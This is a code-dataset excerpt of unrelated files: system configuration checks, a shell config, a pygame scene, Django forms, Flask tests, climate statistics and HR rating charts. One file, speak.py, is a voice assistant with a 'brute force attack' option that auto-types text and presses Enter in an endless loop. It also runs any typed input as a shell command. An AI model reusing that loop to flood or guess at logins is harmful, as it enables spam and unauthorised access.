parameters.append(\"PerformRequiredConfigurationChecks\")\n parameters.append(\"{\")\n parameters.append(\"Flags\")\n parameters.append(\"1\")\n parameters.append(\"}\")\n\n stdout = ''\n stderr = ''\n\n if use_omsconfig_host:\n try:\n # Open the dsc host lock file. This also creates a file if it does not exist\n dschostlock_filehandle = None\n dschostlock_filehandle = open(dsc_host_lock_path, 'w')\n print(\"Opened the dsc host lock file at the path '\" + dsc_host_lock_path + \"'\")\n \n dschostlock_acquired = False\n\n # Acquire dsc host file lock\n for retry in range(60):\n try:\n flock(dschostlock_filehandle, LOCK_EX | LOCK_NB)\n write_omsconfig_host_log('dsc_host lock file is acquired by : PerformRequiredConfigurationChecks', pathToCurrentScript)\n dschostlock_acquired = True\n break\n except IOError:\n write_omsconfig_host_log('dsc_host lock file not acquired. retry (#' + str(retry) + ') after 60 seconds...', pathToCurrentScript)\n sleep(15)\n stop_old_host_instances(dsc_host_lock_path)\n \n if dschostlock_acquired:\n p = Popen(parameters, stdout=PIPE, stderr=PIPE)\n stdout, stderr = p.communicate()\n stdout = stdout.decode() if isinstance(stdout, bytes) else stdout\n print(stdout)\n else:\n print(\"dsc host lock already acquired by a different process\")\n finally:\n if (dschostlock_filehandle):\n # Release dsc host file lock\n flock(dschostlock_filehandle, LOCK_UN)\n\n # Close dsc host lock file handle\n dschostlock_filehandle.close()\n else:\n p = Popen(parameters, stdout=PIPE, stderr=PIPE)\n stdout, stderr = p.communicate()\n stdout = stdout.decode() if isinstance(stdout, bytes) else stdout\n print(stdout)\n\nif __name__ == \"__main__\":\n LG().Log(\"DEBUG\", \"Starting Main method for \" + argv[0] + \" runing with python \" + str(sys.version_info))\n main()\n LG().Log(\"DEBUG\", \"End of Main method for \" + argv[0] + \" runing with python \" + str(sys.version_info))\n","sub_path":"LCM/scripts/python3/PerformRequiredConfigurationChecks.py","file_name":"PerformRequiredConfigurationChecks.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"622731973","text":"\"\"\"\nChiasm Shell backend and version configuration.\n\n:author: Ben Cheney\n:license: MIT\n\"\"\"\nfrom __future__ import absolute_import\nimport os\n\nBACKENDS = None\n\ndef get_backends():\n \"\"\"\n Returns a list of the available backends.\n \"\"\"\n global BACKENDS\n if BACKENDS is None:\n # deferred import to avoid circular dependency hell\n from chiasm_shell.assembler import Assembler\n from chiasm_shell.disassembler import Disassembler\n BACKENDS = {\n 'asm' : Assembler(),\n 'disasm' : Disassembler()\n }\n return BACKENDS\n\ndef get_default_backend():\n \"\"\"\n Returns the backend instantiated by default by the ChiasmShell class.\n \"\"\"\n return 'asm'\n\n__VERSION__ = open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'VERSION')).read().strip()\n","sub_path":"chiasm_shell/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"461766479","text":"#!/usr/bin/python3\nimport pyautogui\nfrom pytube import YouTube\nfrom colorama import Fore, Back, Style\nimport os\nimport time\nimport pyttsx3\nimport datetime\nspeak = pyttsx3.init()\ne = ['q','Q','EXIT','QUIT','quit','exit']\npassword = []\nuser = []\nwhile True:\n os.system(\"clear\")\n print(Fore.RED+\"\"\"\n ____ _______\n | ___| | _____|\n _| |_ | |_____\n |_ _| R | _____| E \n | | | |______ \n |_| |_______|\n \"\"\")\n time.sleep(0.7)\n o = input(Fore.GREEN+\"\"\"\n __________OFFICIAL-CODE_______\n | |\n | [1] CREAT FREE |\n | |\n | [2] LOGIN |\n |______________________________|\n \n>>>>>>>>>>>\"\"\");\n if o == \"1\" or o == \"CREAT FREE\" or o == \"creat free\":\n os.system(\"clear\")\n p = input(Fore.YELLOW+\"\"\"\n ----------------------------------------------\n | GMAIL : \"\"\")\n j = input(Fore.YELLOW+\"\"\" |_____________________________________________\n | PASSWORD : \"\"\")\n print(\" |_____________________________________________\")\n ji = \" Thank YOU for create account FREE\"\n po =f\"\"\"\n ______________________contact__________________\n <<<<<<<<<<<<<| |>>>>>>>>>>>>\n GMAIL : {p} \n PASSWORD : {j} \n <<<<<<<<<<<<<|_______________________________________________|>>>>>>>>>>>\n \"\"\"\n if p == \"\":\n print (\" Gmail --false--\\n\")\n time.sleep(2)\n elif j == \"\":\n print (\" password --false--\\n\")\n time.sleep(2)\n else: \n print (Fore.GREEN+po)\n print (Fore.RED+ji)\n user.append(p)\n password.append(j)\n\n os.system(\"clear\")\n elif o == \"2\" or o == \"LOGIN\" or o == \"login\":\n os.system(\"clear\")\n s = input(\"\"\"\n ----------------------------------------------\n | GMAIL : \"\"\")\n l = input(\"\"\" |_____________________________________________\n | PASSWORD : \"\"\")\n print(\" |_____________________________________________\")\n if s in user and l in password:\n os.system(\"clear\")\n print(Fore.RED+\"ROBOT: hi\")\n lw = Fore.RED+\"ROBOT: OK MY FRIEND\"\n wl = Fore.RED+\"ROBOT : OK SIR\"\n while True:\n me = input(Fore.WHITE+\"me: \")\n speak.say(me)\n if me == \"open terminal\": \n print(lw)\n os.system(\"gnome-terminal\")\n speak.say(\"ok my friend\")\n elif me == \"open firefox\":\n print(lw)\n speak.say(\"ok my friend\")\n os.system(\"firefox\")\n elif me == \"hi\" or me == \"hello\":\n print(Fore.RED+\"ROBOT: DO YOU HELP ?\")\n speak.say(\"fo you help\")\n elif me == \"yes\" or me == \"y\":\n print(Fore.WHITE + \"\"\"ROBOT:\nFACEBOOK \nINSTGRAM\nYOUTUBE\nCLOCK\nHACKING\nGOOGLE\nterminal\nmy ip\nsend brupforce\ncreate file\n:\"\"\")\n speak.say(\"facebook instgram youtube clock hacking google terminal my i p address send burpforce create file\")\n elif me == \"MY IP\" or me == \"my ip\":\n print(lw)\n os.system(\"ifconfig\")\n speak.say(\"ok my friend\")\n elif me == \"facebook\" or me == \"FACEBOOK\":\n print (wl)\n os.system(\"xdg-open https://www.facebook.com\")\n speak.say(\"ok sir\")\n elif me == \"INSTAGRAM\" or me == \"instagram\":\n print (Fore.RED+\"ROBOT : OK OPEN IMSTAGRAM\")\n os.system(\"xdg-open https://www.instagram.com\")\n speak.say(\"ok sir\")\n elif me == \"YOUTUBE\" or me == \"youtube\":\n print (\"ROBOT : OK SIR\")\n speak.say(\"ok sir\")\n os.system(\"xdg-open https://www.youtube.com\")\n elif me == \"clock\":\n print (wl)\n speak.say(\"ok sir\")\n date = datetime.datetime.now()\n speak.say(date)\n print(date)\n elif me == \"hacking\":\n print (wl)\n speak.say(\"ok sir\")\n os.system(\"xdg-open https://www.blackhat.com\")\n elif me in e:\n speak.say(\"ok exit\")\n print(Fore.RED+\"ROBOT:EXIT NOw\")\n exit()\n elif me == \"create file\": \n print (Fore.RED+\"ROBOT : OK CREAT FILE\")\n speak.say(\"ok creat file thanl you \")\n speak.runAndWait()\n o = input(\"name file for creat:\")\n f = open(o,\"w\")\n f.write(\"Editor : Official-coDe\")\n f.close()\n elif me == \"terminal\": \n while True:\n print (lw)\n speak.say(\"ok my friend\")\n speak.runAndWait()\n i = input(\"command: \")\n speak.say(i)\n speak.runAndWait()\n os.system(i)\n if i == \"back\":\n break\n print(Fore.RED+\"ROBOT : OK BACK\")\n speak.say(\"back\")\n speak.runAndWait() \n elif me == \"google\":\n os.system(\"clear\")\n print(\"GooGlE\")\n while True:\n w = input(Fore.RED+\"\"\"\n>>>>>>>>search:\"\"\")\n if w == \"back\":\n break\n print(\"ROBOT : OK BACK\")\n speak.say(\"back\") \n speak.runAndWait()\n else:\n os.system(\"xdg-open https://www.google.com/search?q=\"+w) \n elif me == \"send burpforce\":\n print (Fore.RED+\"ROBOT : Brup force attack\")\n speak.say('brup force attack')\n speak.runAndWait()\n ui = int(input(\"time:\"))\n iu = input(\"text:\")\n while True:\n time.sleep(ui)\n pyautogui.typewrite(iu)\n pyautogui.press('enter')\n speak.runAndWait()\n else:\n print (\"Gmail or password false\\n\")\n time.sleep(2)\n elif o in e:\n exit()\n os.system(\"clear\")\n else :\n print (\"what is {}\".format(o))\n time.sleep(1)\n","sub_path":"speak.py","file_name":"speak.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"176954048","text":"import os\nimport glob\nimport cdms2\nimport cdutil\nimport numpy as np\nimport csv\nfrom varid_dict import varid_longname\nfrom utils import climo\n\ndef var_seasons(var, seasons):\n \"Calculate seasonal climatology of each variable\"\n var_season_data = np.empty([len(seasons)])*np.nan\n cdutil.setTimeBoundsMonthly(var)\n for k, season in enumerate(seasons):\n if season == 'ANN':\n months = cdutil.times.Seasons('DJFMAMJJASON')\n else:\n months = cdutil.times.Seasons(str(season))\n var_season_data[k] = months.climatology(var)\n # convert units\n if var.id == 'tas':\n var_season_data = var_season_data-273.15\n\n if var.id == 'pr':\n var_season_data = var_season_data*3600.*24.\n \n \n return var_season_data\n\n\ndef seasonal_mean_table(parameter):\n \"\"\"Calculate seasonal mean climatology\"\"\"\n variables = parameter.variables\n seasons = parameter.season\n test_path = parameter.test_data_path\n obs_path = parameter.obs_path\n cmip_path = parameter.cmip_path\n output_path = parameter.output_path\n sites = parameter.sites\n \n test_model = parameter.test_data_set \n ref_models = parameter.ref_models\n\n # Calculate for test model\n test_var_season=np.empty([len(variables),len(seasons)])*np.nan\n test_file = glob.glob(os.path.join(test_path,'*'+test_model+'*mo*'+ sites[0]+'.nc')) #read in monthly test data\n if len(test_file) == 0:\n raise RuntimeError('No monthly data for test model were found.')\n \n fin = cdms2.open(test_file[0])\n \n print('test_model',test_model)\n\n for j, variable in enumerate(variables): \n try:\n var = fin (variable)\n #test_var_season[j, :] = var_seasons(var, seasons)\n test_var_season[j, :] = climo(var, seasons)\n\n except:\n print(variable+\" not processed for \" + test_model)\n fin.close()\n\n # Calculate for observational data\n obs_var_season=np.empty([len(variables),len(seasons)])*np.nan\n print('ARM data')\n if sites[0] == 'sgp':\n obs_file = glob.glob(os.path.join(obs_path,'*ARMdiag*monthly_stat_'+ sites[0]+'.nc')) #read in monthly test data\n fin = cdms2.open(obs_file[0])\n for j, variable in enumerate(variables): \n try:\n var = fin (variable)\n #obs_var_season[j, :] = var_seasons(var, seasons)\n obs_var_season[j, :] = climo(var, seasons)\n \n except:\n print(variable+\" not processed for obs\")\n fin.close()\n else:\n obs_file = glob.glob(os.path.join(obs_path,'*ARMdiag*monthly_climo*'+ sites[0]+'.nc')) #read in monthly test data\n fin = cdms2.open(obs_file[0]) \n for j, variable in enumerate(variables): \n try:\n var = fin (variable) \n \n #tmp\n obs_var_season[j,1:] = np.nanmean(np.reshape(var, (4,3)),axis=1)\n if variable == 'tas':\n obs_var_season[j,1:] = obs_var_season[j,1:] -273.15\n if variable == 'pr':\n obs_var_season[j,1:] = obs_var_season[j,1:] * 24.0\n if variable == 'prw':\n obs_var_season[j,1:] = obs_var_season[j,1:] * 10.0\n obs_var_season[j,0] = np.nanmean(obs_var_season[j,1:])\n \n #var24 = np.concatenate((var,var),axis=0)\n \n except:\n print(variable+\" not processed for obs\")\n fin.close() \n \n \n \n # Calculate cmip model seasonal mean climatology\n cmip_var_season=np.empty([len(ref_models),len(variables),len(seasons)])*np.nan\n \n for i, ref_model in enumerate(ref_models):\n ref_file = glob.glob(os.path.join(cmip_path,'*'+ref_model+'*mo*'+ sites[0]+'.nc')) #read in monthly cmip data\n print('ref_model', ref_model)\n if not ref_file :\n print(ref_model+\" not found!\") \n else:\n fin = cdms2.open(ref_file[0])\n \n for j, variable in enumerate(variables): \n try:\n var = fin (variable)\n #cmip_var_season[i, j, :] = var_seasons(var, seasons)\n cmip_var_season[i, j, :] = climo(var, seasons)\n\n except:\n print(variable+\" not processed for \" + ref_model)\n fin.close() \n # Calculate multi-model mean\n mmm_var_season = np.nanmean(cmip_var_season,axis=0)\n \n\n # Save data as a table\n #header=['Variables','Model','Obs','Model-Obs','CMIP5','RMSE']\n header=['Variables','Model','Obs','Model-Obs','CMIP5']\n var_longname = [ varid_longname[x] for x in variables]\n table_data = np.empty([len(variables),len(seasons),4])\n\n for k, season in enumerate(seasons):\n for j, variable in enumerate(variables):\n table_data[j,k,:] = (round(test_var_season[j,k],3), round(obs_var_season[j,k],3),round(test_var_season[j,k]-obs_var_season[j,k],3),round(mmm_var_season[j,k],3))\n \n with open (output_path+'/metrics/seasonal_mean_table_'+season+'_'+sites[0]+'.csv','w') as f1:\n writer=csv.writer(f1, delimiter=',',lineterminator='\\n', quoting=csv.QUOTE_NONE)\n writer.writerow(header)\n #use tuple to generate csv \n writer.writerows([c]+row.tolist() for c, row in zip(var_longname,table_data[:,k,:]))\n\n \n \n \n \n \n","sub_path":"arm_diags/src/seasonal_mean.py","file_name":"seasonal_mean.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"30365789","text":"import pytest\nfrom flask import url_for\n\nfrom trends.utils.feed_request import FeedRequest\n\n\ndef test_feed_request():\n params = {\"offset\": 0, \"limit\": 20, \"tag\": \"blogger\"}\n fr = FeedRequest()\n resp = fr.get_response(**params)\n assert resp.status_code == 200\n return resp\n\n\ndef test_feed_proxy(client):\n params = {\"offset\": 0, \"limit\": 20, \"tag\": \"blogger\"}\n resp = client.get(url_for(\"trends.feed_proxy\", **params),)\n assert resp.status_code == 200\n\n results = resp.json[\"data\"]\n assert len(results) == len(test_feed_request().json())\n # assert results['items'] == test_feed_request().json()['items'] # не могу\n # проверить, т.к. поля постоянно меняю свою очередность\n\n\n@pytest.mark.parametrize(\n (\"params\", \"status\"),\n [\n ({\"offset\": \"0\", \"limit\": \"20\", \"tag\": \"bla-bla\",}, 200), # nonexistent tag\n ({\"limit\": \"20\", \"tag\": \"blogger\",}, 200), # not offset\n ({\"offset\": \"0\", \"tag\": \"blogger\",}, 200), # not limit\n ({\"offset\": \"0\", \"limit\": \"20\",}, 200), # not tag\n ({\"offset\": \"1256985555\", \"limit\": \"20\", \"tag\": \"blogger\",}, 200),\n ],\n)\ndef test_feed_proxy_bad_request(client, params, status):\n resp = client.get(url_for(\"trends.feed_proxy\", **params),)\n assert resp.status_code == status\n","sub_path":"backend/web/tests/api/test_feed_proxy.py","file_name":"test_feed_proxy.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"38174237","text":"import pygame\n\n\nclass Scene:\n\n def __init__(self, screen, backgroundColor):\n self.screen = screen\n self.r = backgroundColor[0]\n self.g = backgroundColor[1]\n self.b = backgroundColor[2]\n self.gameObjects = []\n self.state = 0\n self.crazy = True\n self.rDirection = 1\n self.gDirection = 1\n self.bDirection = 1\n\n def add(self, game_object):\n self.gameObjects.append(game_object)\n\n def update(self, velocity):\n if self.crazy:\n self.process_background()\n for obj in self.gameObjects:\n obj.update(velocity, self)\n\n def draw(self):\n self.screen.fill((self.r, self.g, self.b))\n for obj in self.gameObjects:\n obj.draw(self.screen)\n\n def flip(self):\n pygame.display.flip()\n\n def process_background(self):\n self.r += 2 * self.rDirection\n self.g += 1 * self.gDirection\n self.b += 3 * self.bDirection\n\n if self.r >= 255:\n self.r = 255\n self.rDirection = -1\n elif self.r <= 0:\n self.r = 0\n self.rDirection = 1\n if self.g >= 255:\n self.g = 255\n self.gDirection = -1\n elif self.g <= 0:\n self.g = 0\n self.gDirection = 1\n if self.b >= 255:\n self.b = 255\n self.bDirection = -1\n elif self.b <= 0:\n self.b = 0\n self.bDirection = 1\n","sub_path":"src/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"430582480","text":"from django import forms\nfrom crispy_forms.bootstrap import TabHolder, Tab\nfrom common_data.forms import BootstrapMixin\nfrom django.contrib.auth import authenticate\nfrom crispy_forms.helper import FormHelper\n\nfrom crispy_forms.layout import (Row, \n Column, \n Fieldset,\n Submit, \n Div,\n Layout,\n HTML)\nfrom . import models\nfrom employees.models import Employee\nfrom django_select2.forms import Select2Widget\n\nclass ServiceForm(forms.ModelForm,BootstrapMixin):\n category = forms.ModelChoiceField(models.ServiceCategory.objects.all(), required=False)\n\n class Meta:\n fields = \"__all__\"\n model = models.Service\n\n widgets = {\n 'description':forms.Textarea(attrs={'rows':4, 'cols':15}),\n 'procedure': Select2Widget(attrs={'data-width': '20rem'})\n } \n \n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n 'name',\n 'description',\n Row(\n Column('flat_fee', css_class='form-group col-6'),\n Column('hourly_rate', css_class='form-group col-6'),\n ),\n Row(\n Column('category', css_class='form-group col-4'),\n Column('procedure', css_class='form-group col-4'),\n Column('frequency', css_class='form-group col-4'),\n ),\n 'is_listed',\n Div(Submit('submit', 'Submit'), css_class=\"floating-submit\")\n )\nclass ServiceCategoryForm(forms.ModelForm, BootstrapMixin):\n class Meta:\n fields = \"__all__\"\n model = models.ServiceCategory\n\n\nclass ServicePersonForm(forms.ModelForm, BootstrapMixin):\n class Meta:\n fields = \"__all__\"\n model = models.ServicePerson\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.add_input(Submit('submit', 'Submit'))\nclass ServicePersonUpdateForm(forms.ModelForm, BootstrapMixin):\n class Meta:\n exclude = \"employee\",\n model = models.ServicePerson\n\n\nclass ServiceTeamForm(forms.ModelForm, BootstrapMixin):\n #create members in react\n class Meta:\n exclude = \"members\",\n model = models.ServiceTeam\n widgets = {\n \"description\": forms.Textarea(attrs={\"rows\": 4})\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n Row(\n Column(\n 'Team Creation Form',\n 'name',\n 'description',\n 'manager',\n css_class=\"col-6\"),\n Column(\n HTML(\n \"\"\"\n
')\n\n html = df.to_html(index=False, classes='table-striped', border=0).replace(\n 'dataframe', 'table').replace('
', '
'). \\\n replace('
', '
')\n\n return html\n\n\nclass ChartsGallery():\n charts = {}\n dataframes = {}\n\n charts_emp = {}\n dataframes_emp = {}\n\n loginid_id = get_loginid_id()\n\n def initialize_chart(self, month, group):\n df, chart = get_base_chart(month, group)\n self.charts[(month, group)] = chart\n self.dataframes[(month, group)] = df\n\n def initialize_chart_emp(self, month, group, depart):\n df, chart = get_base_chart(month, group, depart)\n self.charts_emp[(month, group, depart)] = chart\n self.dataframes_emp[(month, group, depart)] = df\n\n def _get_department_auth(self, username):\n # todo 权限\n pass\n\n def get_chart_gb(self, name, month, department=None, group=None):\n if not (month, group) in self.charts:\n self.initialize_chart(month, group)\n chart = deepcopy(self.charts[(month, group)]) # 需要做copy\n\n if not department:\n indices = list(self.dataframes[(month, group)].loginid == name)\n else:\n indices = list(self.dataframes[(month, group)].departmentid.isin(department))\n\n text = [self.dataframes[(month, group)].url[i] if v else None for i, v in enumerate(indices)]\n hover_txt = [self.dataframes[(month, group)].hover_txt[i] if v else None for i, v in enumerate(indices)]\n chart.data[-1].update({'text': text, 'hovertext': hover_txt})\n graphJason = json.dumps(chart, cls=PlotlyJSONEncoder)\n return graphJason, self.dataframes[(month, group)][indices]\n\n def get_chart_emp(self, name, month, department=None, group=None, depart=None):\n if not (month, group, depart) in self.charts_emp:\n self.initialize_chart_emp(month, group, depart)\n\n chart = deepcopy(self.charts_emp[(month, group, depart)]) # 需要做copy\n\n if not department:\n indices = list(self.dataframes_emp[(month, group, depart)].loginid == name)\n else:\n indices = list(self.dataframes_emp[(month, group, depart)].departmentid.isin(department))\n\n text = [self.dataframes_emp[(month, group, depart)].url[i] if v else None for i, v in enumerate(indices)]\n hover_txt = [self.dataframes_emp[(month, group, depart)].hover_txt[i] if v else None for i, v in\n enumerate(indices)]\n chart.data[-1].update({'text': text, 'hovertext': hover_txt})\n graphJason = json.dumps(chart, cls=PlotlyJSONEncoder)\n return graphJason, self.dataframes_emp[(month, group, depart)][indices]\n\n def get_chart(self, name, month, department=None, group=None, sup_depart=None):\n if group == 6:\n graph, df = self.get_chart_gb(name, month, department, group)\n\n table = df[TABLE_COLS]\n table = get_html(table.rename(columns=SHOW_COLS))\n return graph, table\n if group == 7:\n graph, df = self.get_chart_emp(name, month, department, group, depart=sup_depart)\n table = df[TABLE_COLS_EMP]\n table = get_html(table.rename(columns=SHOW_COLS_EMP))\n return graph, table\n\n raise ValueError\n\n def get_chart_and_dtl(self, name, month, group=7, sup_depart=None, is_sup_perm=False, isDetails=False):\n graph, table = self.get_chart(name, month, group=group, sup_depart=sup_depart)\n if is_sup_perm:\n cp_dtl = self.get_dtl_table(name, month, group, isDetails)\n else:\n cp_dtl = None\n\n return graph, table, cp_dtl\n\n def get_dtl_table(self, name, month, group, isDetails=False):\n id = self.loginid_id[name]\n cur_date = datetime.date(int(month[:4]), int(month[5:]), 1)\n\n start_date = cur_date + relativedelta(day=31) + datetime.timedelta(days=1)\n end_date = start_date + relativedelta(day=31) + datetime.timedelta(days=1)\n\n if isDetails:\n dtails = \"t5.lastname as txrName\"\n else:\n dtails = \"'******' as txrName\"\n\n if group == 7:\n sql = f'''\n -- 员工\n SELECT -- t1.txr,\n {dtails},\n -- t2.bsbtpr,\n -- t4.lastname as btprName,\n -- t4.loginid,\n (convert(Int, s1.name) + convert(Int, s2.name) + convert(Int, s3.name)\n + convert(Int, s4.name) + convert(Int, s5.name))\n as total,\n s1.name as v1,\n s2.name as v2,\n s3.name as v3,\n s4.name as v4,\n s5.name as v5\n FROM formtable_main_130 t1\n INNER JOIN formtable_main_130_dt1 t2 ON t2.mainid = t1.id\n\n INNER JOIN workflow_currentoperator t3 ON t3.requestid = t1.requestId\n INNER JOIN HrmResource t4 ON t4.id = t2.bsbtpr\n INNER JOIN HrmResource t5 ON t5.id = t1.txr\n\n INNER JOIN a_CpYgDepBind t6 ON t6.childId = t4.departmentid\n INNER JOIN a_CpYgDepBind t7 ON t7.childId = t5.departmentid\n\n INNER JOIN mode_selectitempagedetail s1 ON s1.mainid = 22 AND s1.disorder = t2.f1\n INNER JOIN mode_selectitempagedetail s2 ON s2.mainid = 23 AND s2.disorder = t2.f2\n INNER JOIN mode_selectitempagedetail s3 ON s3.mainid = 23 AND s3.disorder = t2.f3\n INNER JOIN mode_selectitempagedetail s4 ON s4.mainid = 23 AND s4.disorder = t2.f4\n INNER JOIN mode_selectitempagedetail s5 ON s5.mainid = 23 AND s5.disorder = t2.f5\n WHERE\n --被打分人\n t2.bsbtpr = {id}\n AND t1.txrq >= '{start_date}'\n AND t1.txrq < '{end_date}'\n AND t6.supdepId = t7.supdepId\n\n AND (t3.isremark = 4)\n AND (t3.iscomplete = 1)\n\n AND t1.txr <> t2.bsbtpr\n -- 去重复\n AND t2.id not in (\n select MAX(t2.id) as id\n FROM formtable_main_114 t1\n INNER JOIN formtable_main_114_dt1 t2 ON t2.mainid = t1.id\n INNER JOIN workflow_currentoperator t4 ON t4.requestid = t1.requestId\n WHERE (t4.isremark = 4)\n AND (t4.iscomplete = 1)\n --被打分人\n AND bsbtpr = {id}\n AND t1.txrq >= '{start_date}'\n AND t1.txrq < '{end_date}'\n GROUP BY txr, bsbtpr\n HAVING COUNT(*) > 1)\n '''\n elif group == 6:\n sql = f'''\n SELECT -- t1.txr,\n {dtails},\n -- t2.bsbtpr,\n -- t4.lastname as btprName,\n -- t4.loginid,\n (convert(Int, s1.name) + convert(Int, s2.name) + convert(Int, s3.name)\n + convert(Int, s4.name) + convert(Int, s5.name) + convert(Int, s6.name) + convert(Int, s7.name)\n + convert(Int, s8.name) + convert(Int, s9.name) + convert(Int, s10.name) + convert(Int, s11.name))\n as total,\n s1.name as v1,\n s2.name as v2,\n s3.name as v3,\n s4.name as v4,\n s5.name as v5,\n s6.name as v6,\n s7.name as v7,\n s8.name as v8,\n s9.name as v9,\n s10.name as v10,\n s11.name as v11\n FROM formtable_main_114 t1\n INNER JOIN formtable_main_114_dt1 t2 ON t2.mainid = t1.id\n INNER JOIN workflow_currentoperator t3 ON t3.requestid = t1.requestId\n INNER JOIN HrmResource t4 ON t4.id = t2.bsbtpr\n\n INNER JOIN HrmResource t5 ON t5.id = t1.txr\n\n INNER JOIN mode_selectitempagedetail s1 ON s1.mainid = 24 AND s1.disorder = t2.f1\n INNER JOIN mode_selectitempagedetail s2 ON s2.mainid = 13 AND s2.disorder = t2.f2\n INNER JOIN mode_selectitempagedetail s3 ON s3.mainid = 13 AND s3.disorder = t2.f3\n INNER JOIN mode_selectitempagedetail s4 ON s4.mainid = 13 AND s4.disorder = t2.f4\n INNER JOIN mode_selectitempagedetail s5 ON s5.mainid = 13 AND s5.disorder = t2.f5\n INNER JOIN mode_selectitempagedetail s6 ON s6.mainid = 13 AND s6.disorder = t2.f6\n INNER JOIN mode_selectitempagedetail s7 ON s7.mainid = 13 AND s7.disorder = t2.f7\n INNER JOIN mode_selectitempagedetail s8 ON s8.mainid = 13 AND s8.disorder = t2.f8\n INNER JOIN mode_selectitempagedetail s9 ON s9.mainid = 21 AND s9.disorder = t2.f9\n INNER JOIN mode_selectitempagedetail s10 ON s10.mainid = 21 AND s10.disorder = t2.f10\n INNER JOIN mode_selectitempagedetail s11 ON s11.mainid = 21 AND s11.disorder = t2.f11\n WHERE (t3.isremark = 4)\n AND (t3.iscomplete = 1)\n --被打分人\n AND t2.bsbtpr = {id}\n AND t1.txrq >= '{start_date}'\n AND t1.txrq < '{end_date}'\n -- 去重复\n AND t2.id not in (\n select MAX(t2.id) as id\n FROM formtable_main_114 t1\n INNER JOIN formtable_main_114_dt1 t2 ON t2.mainid = t1.id\n INNER JOIN workflow_currentoperator t4 ON t4.requestid = t1.requestId\n WHERE (t4.isremark = 4)\n AND (t4.iscomplete = 1)\n --被打分人\n AND t2.bsbtpr = {id}\n AND t1.txrq >= '{start_date}'\n AND t1.txrq < '{end_date}'\n GROUP BY txr, bsbtpr\n HAVING COUNT(*) > 1\n )\n AND t4.id <> t5.id\n '''\n else:\n raise ValueError(group)\n df = pd.read_sql(sql, engine)\n\n # table = table.rename(columns=SHOW_COLS).to_html(index=False, classes='table-striped', border=0).replace(\n # 'dataframe', 'table')\n if group == 7:\n table = get_html(df.rename(columns=SHOW_COLS_EMP))\n else:\n table = get_html(df.rename(columns=SHOW_COLS))\n return table\n\n\ndef get_date_list():\n df = pd.read_sql(\"select distinct years, months from cp_result\", engine)\n df['dt'] = df.years.astype(str) + df.months.astype(str).str.pad(2, 'left', '0')\n return list(df.dt.values)\n\n\nDEP_FRAM = {}\n\n\nclass Tree:\n def __init__(self, id, departmentname):\n self.id = id\n self.departmentname = departmentname\n self.parent = []\n self.offspring = {}\n\n def add_parent(self, supdepid):\n self.parent.append(supdepid)\n\n def add_offspring(self, id, departmentname):\n if id not in DEP_FRAM:\n DEP_FRAM.setdefault(id, Tree(id, departmentname))\n self.offspring[id] = DEP_FRAM[id]\n\n def print_offsprings(self, id=None, pre_fix=''):\n print(pre_fix + self.departmentname)\n pre_fix += '+'\n for key in self.offspring:\n self.offspring[key].print_offsprings(pre_fix=pre_fix)\n\n def get_offsprings(self, id=None, pre_fix=''):\n res = [(self.id, pre_fix + self.departmentname)]\n pre_fix += '+'\n for key in self.offspring:\n res.extend(self.offspring[key].get_offsprings(pre_fix=pre_fix))\n return res\n\n\ndef get_department_framework():\n df = pd.read_sql('''\n SELECT id,departmentname,supdepid FROM hrmdepartment\n where canceled is null\n ''', engine)\n global DEP_FRAM\n DEP_FRAM = {0: Tree(0, 'ALL')}\n\n for i, (id, dep, sup) in df.iterrows():\n DEP_FRAM[id] = Tree(id, dep)\n\n for i, (id, dep, sup) in df.iterrows():\n if sup not in DEP_FRAM: continue\n DEP_FRAM[sup].add_offspring(id, dep)\n return DEP_FRAM\n\n\ndef get_auth_department():\n df = pd.read_sql(f'''\n select loginid,departmentid from permission\n ''', engine)\n auth_list = df.groupby('loginid').agg(list).to_dict()['departmentid']\n # df = df.set_index('loginid')\n # return df.to_dict()['departmentid']\n return auth_list\n\n\n# 权限控制\ndef has_auth(user, name):\n # 同一个人\n # 拥有部门权限的人\n return True\n\n\ndef get_sup_dep_loginId():\n df = pd.read_sql('''\n select loginid, supdepId from a_CpYgDepBind sup\n inner join HrmResource h on sup.childId=h.departmentid\n ''', engine)\n\n sup_dep = {l: d for l, d in df.values}\n return sup_dep\n\n\ndef get_dep_loginId():\n df = pd.read_sql('''\n select loginid, departmentid from HrmResource\n ''', engine)\n\n loginId_dep = {l: d for l, d in df.values}\n return loginId_dep\n\n\ndef get_sup_dep():\n df = pd.read_sql('''\n select childId, supdepId from a_CpYgDepBind\n ''', engine)\n\n sup_dep = {l: d for l, d in df.values}\n return sup_dep\n\n\ndef get_sup_permission():\n df = pd.read_sql('''\n select loginid, departmentid from sup_permission\n ''', engine)\n\n sup_permission = df.groupby('loginid').agg(list).to_dict()['departmentid']\n # sup_dep = {l:d for l,d in df.values}\n return sup_permission\n\n\ndef get_loginid_group():\n df = pd.read_sql('''\n select loginid, category from\n (select loginid, category,\n row_number() over (partition by loginid, category order by years desc, months desc) rn\n from result_all) A\n where rn = 1\n ''', engine)\n return dict(df.values)\n","sub_path":"data_prepare/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":23482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
